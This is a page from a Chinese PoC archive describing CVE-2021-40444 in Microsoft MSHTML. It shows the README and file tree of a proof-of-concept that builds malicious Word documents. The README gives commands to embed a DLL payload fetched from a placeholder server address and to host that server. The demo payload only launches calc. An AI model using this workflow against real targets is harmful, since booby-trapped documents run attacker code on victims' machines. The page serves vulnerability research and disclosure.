关联漏洞
标题:Microsoft MSHTML.DLL 路径遍历漏洞 (CVE-2021-40444)Description:Microsoft MSHTML.DLL是美国微软（Microsoft）公司的一个用于解析HTML语言的动态链接库，IE、Outlook、Outlook Express等应用程序都使用了该动态链接库。 Microsoft MSHTML.DLL 存在路径遍历漏洞，远程攻击者可以创建带有恶意ActiveX控件的特制Office文档，诱使受害者打开文档并在系统上执行任意代码。
Description
CVE-2021-40444 PoC
介绍
# CVE-2021-40444 PoC
Malicious docx generator to exploit CVE-2021-40444 (Microsoft Office Word Remote Code Execution)
Creation of this Script is based on some reverse engineering over the sample used in-the-wild: 938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52 (docx file)
You need to install lcab first (`sudo apt-get install lcab`)
Check `REPRODUCE.md` for manual reproduce steps
If your generated cab is not working, try pointing out exploit.html URL to calc.cab
# Using
First generate a malicious docx document given a DLL, you can use the one at `test/calc.dll` which just pops a `calc.exe` from a call to `system()`
`python3 exploit.py generate test/calc.dll http://<SRV IP>`
Once you generate the malicious docx (will be at `out/`) you can setup the server:
`sudo python3 exploit.py host 80`
Finally try the docx in a Windows Virtual Machine:
文件快照
[4.0K] /data/pocs/28e96a186792a5410117fdb6869dd4c66cb04abe
├── [4.0K] data
│ └── [4.0K] word_dat
│ ├── [1.4K] [Content_Types].xml
│ ├── [4.0K] docProps
│ │ ├── [ 734] app.xml
│ │ └── [ 747] core.xml
│ ├── [4.0K] _rels
│ └── [4.0K] word
│ ├── [ 14K] document.xml
│ ├── [2.3K] fontTable.xml
│ ├── [4.0K] _rels
│ │ └── [1.2K] document.xml.rels
│ ├── [2.6K] settings.xml
│ ├── [ 32K] styles.xml
│ ├── [4.0K] theme
│ │ └── [6.9K] theme1.xml
│ └── [ 604] webSettings.xml
├── [2.8K] deobfuscate.py
├── [3.7K] exploit.py
├── [4.0K] img
│ ├── [ 46K] calc.png
│ ├── [124K] gen.png
│ └── [186K] srv.png
├── [4.0K] out
│ └── [ 1] 0-blank
├── [ 366] patch_cab.py
├── [241K] POC.mp4
├── [ 972] README.md
├── [1.9K] REPRODUCE.md
├── [4.0K] srv
│ ├── [6.1K] backup.html
│ ├── [ 37K] calc.cab
│ ├── [4.5K] deob.html
│ └── [ 11K] index.html
└── [4.0K] test
└── [223K] calc.dll
11 directories, 25 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问，请发送邮件到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
3. 神龙已为您对 POC 代码进行快照，为了长期维护，请考虑为本地 POC 付费/捐赠，感谢您的支持。